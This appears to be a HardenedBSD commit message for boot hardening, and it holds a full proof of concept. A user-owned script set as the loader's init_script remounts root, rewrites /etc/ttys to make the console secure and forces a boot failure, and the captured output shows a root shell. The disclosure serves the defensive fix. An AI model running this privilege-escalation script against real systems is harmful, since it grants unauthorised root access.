HBSD: rework and extend init/boot hardening

 |
   ______               ____   _____ _____
  |  ____|             |  _ \ / ____|  __ \
  | |___ _ __ ___  ___ | |_) | (___ | |  | |
  |  ___| '__/ _ \/ _ \|  _ < \___ \| |  | |
  | |   | | |  __/  __/| |_) |____) | |__| |
  | |   | | |    |    ||     |      |      |
  |_|   |_|  \___|\___||____/|_____/|_____/    ```                        `
                                              s` `.....---.......--.```   -/
  +------------Welcome to FreeBSD-----------+ +o   .--`         /y:`      +.
  |                                         |  yo`:.            :o      `+-
  |  1. Boot Multi User [Enter]             |   y/               -/`   -o/
  |  2. Boot [S]ingle User                  |  .-                  ::/sy+:.
  |  3. [Esc]ape to loader prompt           |  /                     `--  /
  |  4. Reboot                              | `:                          :`
  |                                         | `:                          :`
  |  Options:                               |  /                          /
  |  5. [K]ernel: kernel (1 of 2)           |  .-                        -.
  |  6. Configure Boot [O]ptions...         |   --                      -.
  |                                         |    `:`                  `:`
  |                                         |      .--             `--.
  |                                         |         .---.....----.
  +-----------------------------------------+

  -
 To get back to the menu, type `menu' and press ENTER
 or type `boot' and press ENTER to start FreeBSD.

 Type '?' for a list of commands, 'help' for more detailed help.
 OK set init_script="/usr/home/op/exploit.sh"
 OK boot
 /boot/kernel/kernel text=0x1010a40 data=0x12ca20+0x3d4b70
 syms=[0x8+0x147918+0x8+0x163171]
 Booting...
 GDB: no debug ports present
 KDB: debugger backends: ddb
 KDB: current backend: ddb
 Copyright (c) 1992-2014 The FreeBSD Project.

[...]

 Root mount waiting for: usbus2
 uhub4: 7 ports with 7 removable, self powered
 Trying to mount root from ufs:/dev/da0p2 [rw]...

[...]

 /usr/home/op/exploit.sh: /fail: not found
 Enter full pathname of shell or RETURN for /bin/sh:
 # id
 uid=0(root) gid=0(wheel) groups=0(wheel)
 #

PoC:

 op@opn ~> pwd
 /usr/home/op
 op@opn ~> ll exploit.sh
 -rw-r--r--  1 op  op  225 Dec 26 01:53 exploit.sh
 op@opn ~> cat exploit.sh
 #!/bin/sh

 /sbin/mount -u -w /
 /usr/bin/touch /exploited
 /usr/bin/sed -i '' -e  '/^console/s/\(.*\)insecure\(.*\)/\1secure\2/g' /etc/ttys
 /sbin/mount -u -r /
 # force fail in boot process to get root terminal on console
 /fail
 op@opn ~>

github-issue: #28
Signed-off-by: Oliver Pinter <oliver.pinter@hardenedbsd.org>
HBSD: fix typo ENABLED -> DISABLED

Signed-off-by: Oliver Pinter <oliver.pinter@hardenedbsd.org>